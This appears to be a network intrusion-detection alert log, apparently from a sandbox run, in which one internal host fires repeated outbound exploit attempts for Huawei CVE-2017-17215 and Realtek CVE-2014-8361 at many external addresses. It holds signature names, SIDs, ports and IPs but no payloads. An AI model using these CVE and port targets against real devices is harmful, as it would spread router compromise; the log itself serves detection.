Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.123.115

Timestamp:	07/20/24-23:01:25.281101
SID:	2835222
Source Port:	47196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 35.91.143.191

Timestamp:	07/20/24-23:01:13.332260
SID:	2027339
Source Port:	40452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.181.202.121

Timestamp:	07/20/24-23:01:28.170987
SID:	2829579
Source Port:	37550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 167.34.165.20

Timestamp:	07/20/24-23:01:33.110605
SID:	2829579
Source Port:	47704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.150.237.101

Timestamp:	07/20/24-23:01:37.222600
SID:	2835222
Source Port:	41322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.74.157.126

Timestamp:	07/20/24-23:01:14.397565
SID:	2835222
Source Port:	52432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 42.119.93.45

Timestamp:	07/20/24-23:01:29.460572
SID:	2025132
Source Port:	40618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 1.93.126.106

Timestamp:	07/20/24-23:01:37.160288
SID:	2829579
Source Port:	42508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.171.220.22

Timestamp:	07/20/24-23:01:05.895886
SID:	2835222
Source Port:	57382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.13.37.76

Timestamp:	07/20/24-23:01:28.175716
SID:	2835222
Source Port:	51636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.81.216.185

Timestamp:	07/20/24-23:01:19.220942
SID:	2829579
Source Port:	56562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.208.150

Timestamp:	07/20/24-23:01:25.230226
SID:	2835222
Source Port:	47544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.25.126

Timestamp:	07/20/24-23:01:11.456952
SID:	2829579
Source Port:	53694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.219.184.205

Timestamp:	07/20/24-23:01:14.431063
SID:	2829579
Source Port:	45882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 19.75.81.79

Timestamp:	07/20/24-23:01:34.945022
SID:	2027339
Source Port:	54686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 74.98.6.90

Timestamp:	07/20/24-23:01:34.920034
SID:	2831300
Source Port:	58676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.40.48.20

Timestamp:	07/20/24-23:01:02.410515
SID:	2829579
Source Port:	57882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 193.243.213.199

Timestamp:	07/20/24-23:01:31.100640
SID:	2027339
Source Port:	34868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.168.126.225

Timestamp:	07/20/24-23:01:05.898214
SID:	2829579
Source Port:	39202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.125.212.107

Timestamp:	07/20/24-23:01:07.679354
SID:	2835222
Source Port:	35338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.82.252.86

Timestamp:	07/20/24-23:01:19.335605
SID:	2829579
Source Port:	38520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 4.79.178.142

Timestamp:	07/20/24-23:01:02.410155
SID:	2829579
Source Port:	39320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.93.39.165

Timestamp:	07/20/24-23:01:11.485692
SID:	2829579
Source Port:	44478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 190.210.219.152

Timestamp:	07/20/24-23:01:24.075727
SID:	2831300
Source Port:	60574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 186.138.141.187

Timestamp:	07/20/24-23:01:29.187581
SID:	2027339
Source Port:	60964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 40.224.141.14

Timestamp:	07/20/24-23:01:06.565386
SID:	2025132
Source Port:	45982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.65.23.29

Timestamp:	07/20/24-23:01:07.653968
SID:	2835222
Source Port:	49820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 173.48.24.57

Timestamp:	07/20/24-23:01:32.153595
SID:	2027339
Source Port:	45336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.117.43.22

Timestamp:	07/20/24-23:01:19.225050
SID:	2829579
Source Port:	50892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 159.34.206.150

Timestamp:	07/20/24-23:01:34.995514
SID:	2027339
Source Port:	53912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 149.111.221.178

Timestamp:	07/20/24-23:01:07.680629
SID:	2829579
Source Port:	43804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 90.194.101.115

Timestamp:	07/20/24-23:01:28.143148
SID:	2829579
Source Port:	50486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 188.154.109.67

Timestamp:	07/20/24-23:01:06.196910
SID:	2027339
Source Port:	45164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 27.8.13.50

Timestamp:	07/20/24-23:01:24.624362
SID:	2027339
Source Port:	47004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 46.136.73.170

Timestamp:	07/20/24-23:01:34.901553
SID:	2831300
Source Port:	60036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 146.102.177.163

Timestamp:	07/20/24-23:01:29.707353
SID:	2027339
Source Port:	47810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.230.50.180

Timestamp:	07/20/24-23:01:14.401421
SID:	2829579
Source Port:	46620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 51.249.121.241

Timestamp:	07/20/24-23:01:13.333349
SID:	2831300
Source Port:	44956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.48.182.247

Timestamp:	07/20/24-23:01:25.294369
SID:	2835222
Source Port:	54890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.130.160.243

Timestamp:	07/20/24-23:01:37.164417
SID:	2835222
Source Port:	50662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 71.136.139.92

Timestamp:	07/20/24-23:01:34.908060
SID:	2831300
Source Port:	57158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.181.156.3

Timestamp:	07/20/24-23:01:02.410932
SID:	2835222
Source Port:	49218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 185.142.167.93

Timestamp:	07/20/24-23:01:24.446551
SID:	2027339
Source Port:	36354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 175.5.21.0

Timestamp:	07/20/24-23:01:33.372322
SID:	2027339
Source Port:	35798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 98.118.67.125

Timestamp:	07/20/24-23:01:11.461274
SID:	2829579
Source Port:	55820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.6.186.252

Timestamp:	07/20/24-23:01:32.304220
SID:	2027339
Source Port:	57032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 25.104.214.117

Timestamp:	07/20/24-23:01:25.291636
SID:	2829579
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 153.229.202.106

Timestamp:	07/20/24-23:01:28.222987
SID:	2835222
Source Port:	33182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 142.216.142.217

Timestamp:	07/20/24-23:01:34.813756
SID:	2025132
Source Port:	46426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.162.113.218

Timestamp:	07/20/24-23:01:25.285323
SID:	2829579
Source Port:	58250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.22.42.117

Timestamp:	07/20/24-23:01:07.679354
SID:	2829579
Source Port:	49828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 203.216.60.68

Timestamp:	07/20/24-23:01:14.397956
SID:	2829579
Source Port:	55982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.197.249.163

Timestamp:	07/20/24-23:01:14.406186
SID:	2835222
Source Port:	34374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.6.120.115

Timestamp:	07/20/24-23:01:28.175716
SID:	2829579
Source Port:	55974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 170.133.86.186

Timestamp:	07/20/24-23:01:24.075800
SID:	2027339
Source Port:	33066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.96.83

Timestamp:	07/20/24-23:01:25.298710
SID:	2835222
Source Port:	37654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.172.195.68

Timestamp:	07/20/24-23:01:32.133536
SID:	2027339
Source Port:	55060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.170.112

Timestamp:	07/20/24-23:01:37.158916
SID:	2829579
Source Port:	52026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 199.61.145.35

Timestamp:	07/20/24-23:01:05.901568
SID:	2835222
Source Port:	52986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 192.84.42.215

Timestamp:	07/20/24-23:01:34.040722
SID:	2025132
Source Port:	54198
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 134.20.23.71

Timestamp:	07/20/24-23:01:29.186915
SID:	2831300
Source Port:	49308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 82.116.127.119

Timestamp:	07/20/24-23:01:13.333258
SID:	2027339
Source Port:	56938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.31.140.76

Timestamp:	07/20/24-23:01:02.413580
SID:	2829579
Source Port:	36104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 211.77.142.174

Timestamp:	07/20/24-23:01:25.343749
SID:	2025132
Source Port:	45794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 2.46.59.12

Timestamp:	07/20/24-23:01:13.332381
SID:	2027339
Source Port:	53004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 186.175.120.220

Timestamp:	07/20/24-23:01:25.293652
SID:	2829579
Source Port:	51798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.202.168.225

Timestamp:	07/20/24-23:01:28.195717
SID:	2829579
Source Port:	32778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 8.55.90.119

Timestamp:	07/20/24-23:01:13.329800
SID:	2831300
Source Port:	47598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 142.63.99.254

Timestamp:	07/20/24-23:01:29.670786
SID:	2027339
Source Port:	55962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 79.118.207.216

Timestamp:	07/20/24-23:01:34.980138
SID:	2027339
Source Port:	60208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.154.146.172

Timestamp:	07/20/24-23:01:37.163818
SID:	2829579
Source Port:	46196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 194.223.113.142

Timestamp:	07/20/24-23:01:25.283485
SID:	2027339
Source Port:	42134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 203.69.127.147

Timestamp:	07/20/24-23:01:28.211361
SID:	2829579
Source Port:	39664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.128.242.91

Timestamp:	07/20/24-23:01:33.081951
SID:	2829579
Source Port:	42928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.196.0.117

Timestamp:	07/20/24-23:01:11.474688
SID:	2835222
Source Port:	40194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 187.213.20.127

Timestamp:	07/20/24-23:01:19.224455
SID:	2829579
Source Port:	51366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.165.222

Timestamp:	07/20/24-23:01:07.682290
SID:	2835222
Source Port:	47046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.246.123

Timestamp:	07/20/24-23:01:33.065212
SID:	2835222
Source Port:	45746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 130.131.215.230

Timestamp:	07/20/24-23:01:33.100578
SID:	2835222
Source Port:	37652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 91.156.224.14

Timestamp:	07/20/24-23:01:33.591597
SID:	2025132
Source Port:	43896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.172.117.241

Timestamp:	07/20/24-23:01:11.454991
SID:	2829579
Source Port:	37672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.183.144.227

Timestamp:	07/20/24-23:01:34.909156
SID:	2027339
Source Port:	44968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 165.240.21.199

Timestamp:	07/20/24-23:01:13.331147
SID:	2027339
Source Port:	45386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 1.52.127.148

Timestamp:	07/20/24-23:01:25.502173
SID:	2027339
Source Port:	54070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.119.250

Timestamp:	07/20/24-23:01:22.786757
SID:	2835222
Source Port:	59466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 176.163.228.117

Timestamp:	07/20/24-23:01:25.026082
SID:	2027339
Source Port:	59244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 117.199.176.147

Timestamp:	07/20/24-23:01:13.333076
SID:	2831300
Source Port:	41730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 69.185.156.127

Timestamp:	07/20/24-23:01:34.945581
SID:	2831300
Source Port:	35964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 81.96.77.48

Timestamp:	07/20/24-23:01:29.563395
SID:	2025132
Source Port:	55074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 50.0.188.147

Timestamp:	07/20/24-23:01:02.410541
SID:	2829579
Source Port:	45018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 97.239.211.144

Timestamp:	07/20/24-23:01:24.093369
SID:	2831300
Source Port:	45534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 123.243.178.81

Timestamp:	07/20/24-23:01:13.332051
SID:	2831300
Source Port:	40934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.178.15.41

Timestamp:	07/20/24-23:01:14.487012
SID:	2835222
Source Port:	54024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 39.157.230.122

Timestamp:	07/20/24-23:01:34.915141
SID:	2027339
Source Port:	38052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 106.139.202.117

Timestamp:	07/20/24-23:01:25.484225
SID:	2027339
Source Port:	56500
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 124.106.212.23

Timestamp:	07/20/24-23:01:29.170017
SID:	2831300
Source Port:	50208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 198.58.137.77

Timestamp:	07/20/24-23:01:29.693794
SID:	2025132
Source Port:	45684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.191.212

Timestamp:	07/20/24-23:01:22.801376
SID:	2829579
Source Port:	54264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 200.134.207.26

Timestamp:	07/20/24-23:01:29.172557
SID:	2027339
Source Port:	54266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.20.138

Timestamp:	07/20/24-23:01:14.406961
SID:	2835222
Source Port:	47792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.218.48.18

Timestamp:	07/20/24-23:01:28.184352
SID:	2829579
Source Port:	51694
Destination Port:	37215
